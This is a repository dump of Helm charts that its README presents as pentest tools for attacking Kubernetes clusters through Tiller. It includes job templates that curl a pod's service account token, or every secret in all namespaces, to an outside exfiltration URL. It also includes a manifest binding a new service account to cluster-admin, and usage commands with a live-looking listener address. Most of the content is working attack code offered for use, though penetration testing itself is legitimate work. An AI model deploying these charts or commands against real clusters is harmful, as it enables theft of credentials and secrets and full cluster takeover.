├── README.md ├── charts ├── exfil_sa_token │ ├── .helmignore │ ├── Chart.yaml │ ├── templates │ │ ├── _helpers.tpl │ │ └── job.yaml │ └── values.yaml └── exfil_secrets │ ├── .helmignore │ ├── Chart.yaml │ ├── templates │ ├── _helpers.tpl │ ├── job.yaml │ └── serviceaccount.yaml │ └── values.yaml └── docs ├── exfil_sa_token-0.1.0.tgz ├── exfil_secrets-0.1.0.tgz ├── index.html └── index.yaml /README.md: -------------------------------------------------------------------------------- 1 | # About 2 | These are a few Helm Charts I've made to help exfiltrate data or privesc when you're in a Kubernetes Cluster and have access to Tiller, but not to the Kubernetes API. 3 | 4 | For more information, see my blogpost about attacking Tiller from inside a cluster: https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/ 5 | 6 | # Charts 7 | To use these charts, you must first initialize Helm, then you can install the charts directly from the [repo](https://ropnop.github.io/pentest_charts/): 8 | 9 | ```bash 10 | $ helm init --client-only 11 | $ helm install --repo https://ropnop.github.io/pentest_charts/ [options] 12 | ``` 13 | 14 | ## exfil_sa 15 | This chart deploys a job designed to simply POST the pod's service account token to a URL. This is useful if you have access to Tiller and know a specific service account who's token you'd like to steal. It takes the following values: 16 | 17 | * `name` - the name of the release, job and pod. 18 | * `serviceAccountName` - the service account to use (and therefore the token that will be exfil'd) 19 | * `exfilURL` - the URL to POST the token to. Make sure you have a listener on that URL to catch it! (I like using a [serverless function](https://github.com/ropnop/serverless_toolkit/tree/master/datadump)) 20 | * `namespace` - defaults to kube-system, but you can override it 21 | 22 | Usage: 23 | ```bash 24 | helm install --name tiller-deployer --set serviceAccountName=tiller --set exfilURL="https://datadump-slack-dgjttxnxkc.now.sh" --repo https://ropnop.github.io/pentest_charts exfil_sa_token 25 | ``` 26 | 27 | This will POST the token in the body of an HTTP request to `exfilURL`. 28 | 29 | To clean up: `helm delete --purge ` 30 | 31 | ## exfil_secrets 32 | This chart creates a new service account with cluster-admin privileges, then deploys a job with that new service account to read all the secrets in every namespace from the Kubernetes API and POST the data back to an `exfilURL`. 33 | 34 | 35 | It takes the following values: 36 | 37 | * `name` - the name of the release, job and pod. 38 | * `serviceAccountName` - the service account to use (and therefore the token that will be exfil'd) 39 | * `exfilURL` - the URL to POST the token to. Make sure you have a listener on that URL to catch it! (I like using a [serverless function](https://github.com/ropnop/serverless_toolkit/tree/master/datadump)) 40 | * `namespace` - defaults to kube-system, but you can override it 41 | 42 | Usage: 43 | ```bash 44 | helm install --name tiller-deployer --set serviceAccountName="tiller-deployer" --set exfilURL="https://datadump-slack-dgjttxnxkc.now.sh/all_secrets.json" --repo https://ropnop.github.io/pentest_charts exfil_secrets 45 | ``` 46 | 47 | This will POST every Kubernetes secret in JSON form to the `exfilURL`. To parse through and quickly decode all the secrets, you can use jq: 48 | 49 | ``` 50 | cat all_secrets.json| jq '[.items[] | . as $secret| .data | to_entries[] | {namespace: $secret.metadata.namespace, name: $secret.metadata.name, type: $secret.type, created: $secret.metadata.creationTimestamp, key: .key, value: .value|@base64d}]' 51 | ``` 52 | 53 | To clean up: `helm delete --purge ` 54 | -------------------------------------------------------------------------------- /charts/exfil_sa_token/.helmignore: -------------------------------------------------------------------------------- 1 | # Patterns to ignore when building packages. 2 | # This supports shell glob matching, relative path matching, and 3 | # negation (prefixed with !). Only one pattern per line. 4 | .DS_Store 5 | # Common VCS dirs 6 | .git/ 7 | .gitignore 8 | .bzr/ 9 | .bzrignore 10 | .hg/ 11 | .hgignore 12 | .svn/ 13 | # Common backup files 14 | *.swp 15 | *.bak 16 | *.tmp 17 | *~ 18 | # Various IDEs 19 | .project 20 | .idea/ 21 | *.tmproj 22 | -------------------------------------------------------------------------------- /charts/exfil_sa_token/Chart.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | appVersion: "1.0" 3 | description: A Helm chart for exfiltrating service account tokens 4 | name: exfil_sa_token 5 | version: 0.1.0 6 | -------------------------------------------------------------------------------- /charts/exfil_sa_token/templates/_helpers.tpl: -------------------------------------------------------------------------------- 1 | {{/* vim: set filetype=mustache: */}} 2 | {{/* 3 | Expand the name of the chart. 4 | */}} 5 | {{- define "exfil_sa_token.name" -}} 6 | {{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" -}} 7 | {{- end -}} 8 | 9 | {{/* 10 | Create a default fully qualified app name. 11 | We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec). 12 | If release name contains chart name it will be used as a full name. 13 | */}} 14 | {{- define "exfil_sa_token.fullname" -}} 15 | {{- if .Values.fullnameOverride -}} 16 | {{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" -}} 17 | {{- else -}} 18 | {{- $name := default .Chart.Name .Values.nameOverride -}} 19 | {{- if contains $name .Release.Name -}} 20 | {{- .Release.Name | trunc 63 | trimSuffix "-" -}} 21 | {{- else -}} 22 | {{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" -}} 23 | {{- end -}} 24 | {{- end -}} 25 | {{- end -}} 26 | 27 | {{/* 28 | Create chart name and version as used by the chart label. 29 | */}} 30 | {{- define "exfil_sa_token.chart" -}} 31 | {{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" -}} 32 | {{- end -}} 33 | -------------------------------------------------------------------------------- /charts/exfil_sa_token/templates/job.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: batch/v1 2 | kind: Job 3 | metadata: 4 | name: {{ .Release.Name }} 5 | namespace: {{ .Values.namespace }} 6 | spec: 7 | template: 8 | metadata: 9 | name: {{ .Release.Name }} 10 | spec: 11 | serviceAccountName: {{ .Values.serviceAccountName }} 12 | containers: 13 | - name: {{ .Release.Name }} 14 | image: byrnedo/alpine-curl 15 | command: ["curl"] 16 | args: ["-d", "@/var/run/secrets/kubernetes.io/serviceaccount/token", "$(EXFIL_URL)"] 17 | env: 18 | - name: EXFIL_URL 19 | value: {{ .Values.exfilURL }} 20 | restartPolicy: {{ .Values.restartPolicy }} -------------------------------------------------------------------------------- /charts/exfil_sa_token/values.yaml: -------------------------------------------------------------------------------- 1 | # Default values for exfil_sa_token. 2 | # This is a YAML-formatted file. 3 | # Declare variables to be passed into your templates. 4 | 5 | restartPolicy: Never 6 | serviceAccountName: tiller 7 | namespace: kube-system 8 | exfilURL: https://example.com -------------------------------------------------------------------------------- /charts/exfil_secrets/.helmignore: -------------------------------------------------------------------------------- 1 | # Patterns to ignore when building packages. 2 | # This supports shell glob matching, relative path matching, and 3 | # negation (prefixed with !). Only one pattern per line. 4 | .DS_Store 5 | # Common VCS dirs 6 | .git/ 7 | .gitignore 8 | .bzr/ 9 | .bzrignore 10 | .hg/ 11 | .hgignore 12 | .svn/ 13 | # Common backup files 14 | *.swp 15 | *.bak 16 | *.tmp 17 | *~ 18 | # Various IDEs 19 | .project 20 | .idea/ 21 | *.tmproj 22 | -------------------------------------------------------------------------------- /charts/exfil_secrets/Chart.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | appVersion: "1.0" 3 | description: A Helm chart for Kubernetes 4 | name: exfil_secrets 5 | version: 0.1.0 6 | -------------------------------------------------------------------------------- /charts/exfil_secrets/templates/_helpers.tpl: -------------------------------------------------------------------------------- 1 | {{/* vim: set filetype=mustache: */}} 2 | {{/* 3 | Expand the name of the chart. 4 | */}} 5 | {{- define "exfil_secrets.name" -}} 6 | {{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" -}} 7 | {{- end -}} 8 | 9 | {{/* 10 | Create a default fully qualified app name. 11 | We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec). 12 | If release name contains chart name it will be used as a full name. 13 | */}} 14 | {{- define "exfil_secrets.fullname" -}} 15 | {{- if .Values.fullnameOverride -}} 16 | {{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" -}} 17 | {{- else -}} 18 | {{- $name := default .Chart.Name .Values.nameOverride -}} 19 | {{- if contains $name .Release.Name -}} 20 | {{- .Release.Name | trunc 63 | trimSuffix "-" -}} 21 | {{- else -}} 22 | {{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" -}} 23 | {{- end -}} 24 | {{- end -}} 25 | {{- end -}} 26 | 27 | {{/* 28 | Create chart name and version as used by the chart label. 29 | */}} 30 | {{- define "exfil_secrets.chart" -}} 31 | {{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" -}} 32 | {{- end -}} 33 | -------------------------------------------------------------------------------- /charts/exfil_secrets/templates/job.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: batch/v1 2 | kind: Job 3 | metadata: 4 | name: {{ .Release.Name }} 5 | namespace: {{ .Values.namespace }} 6 | spec: 7 | template: 8 | spec: 9 | serviceAccountName: {{ .Values.serviceAccountName}} 10 | containers: 11 | - name: {{ .Release.Name }} 12 | image: rflathers/kubectl:bash # alpine + bash + curl + kubectl 13 | command: 14 | - "/bin/bash" 15 | - "-c" 16 | - "curl --data-binary @<(kubectl get secrets --all-namespaces -o json) $(EXFIL_URL)" 17 | env: 18 | - name: EXFIL_URL 19 | value: {{ .Values.exfilURL }} 20 | restartPolicy: {{ .Values.restartPolicy }} 21 | -------------------------------------------------------------------------------- /charts/exfil_secrets/templates/serviceaccount.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: v1 3 | kind: ServiceAccount 4 | metadata: 5 | name: {{ .Values.serviceAccountName}} 6 | namespace: {{ .Values.namespace }} 7 | 8 | --- 9 | apiVersion: rbac.authorization.k8s.io/v1 10 | kind: ClusterRoleBinding 11 | metadata: 12 | name: {{ .Values.serviceAccountName }} 13 | roleRef: 14 | apiGroup: rbac.authorization.k8s.io 15 | kind: ClusterRole 16 | name: cluster-admin 17 | subjects: 18 | - kind: ServiceAccount 19 | name: {{ .Values.serviceAccountName }} 20 | namespace: {{ .Values.namespace }} 21 | 22 | 23 | -------------------------------------------------------------------------------- /charts/exfil_secrets/values.yaml: -------------------------------------------------------------------------------- 1 | # Default values for exfil_sa_token. 2 | # This is a YAML-formatted file. 3 | # Declare variables to be passed into your templates. 4 | 5 | restartPolicy: Never 6 | serviceAccountName: tiller-deployer 7 | namespace: kube-system 8 | exfilURL: https://example.com -------------------------------------------------------------------------------- /docs/exfil_sa_token-0.1.0.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ropnop/pentest_charts/fd077fb7869701d6c170ec063205a6d4def6e691/docs/exfil_sa_token-0.1.0.tgz -------------------------------------------------------------------------------- /docs/exfil_secrets-0.1.0.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ropnop/pentest_charts/fd077fb7869701d6c170ec063205a6d4def6e691/docs/exfil_secrets-0.1.0.tgz -------------------------------------------------------------------------------- /docs/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Chart repo 4 | 5 | 6 |

Ropnop's Pentest Charts

7 |

Point your Helm repo here

8 | 9 | 10 | -------------------------------------------------------------------------------- /docs/index.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | entries: 3 | exfil_sa_token: 4 | - apiVersion: v1 5 | appVersion: "1.0" 6 | created: 2019-01-27T14:38:54.378613-06:00 7 | description: A Helm chart for exfiltrating service account tokens 8 | digest: ac26bb8666e29a2accd4258ef245bfd182e625e19c4c4912e72400aa4d9c2374 9 | name: exfil_sa_token 10 | urls: 11 | - https://ropnop.github.io/pentest_charts/exfil_sa_token-0.1.0.tgz 12 | version: 0.1.0 13 | exfil_secrets: 14 | - apiVersion: v1 15 | appVersion: "1.0" 16 | created: 2019-01-27T14:38:54.378874-06:00 17 | description: A Helm chart for Kubernetes 18 | digest: c17434575e564c36377664906de0c23564155a533a0751a4ddcfc506e10884fe 19 | name: exfil_secrets 20 | urls: 21 | - https://ropnop.github.io/pentest_charts/exfil_secrets-0.1.0.tgz 22 | version: 0.1.0 23 | generated: 2019-01-27T14:38:54.377774-06:00 24 | --------------------------------------------------------------------------------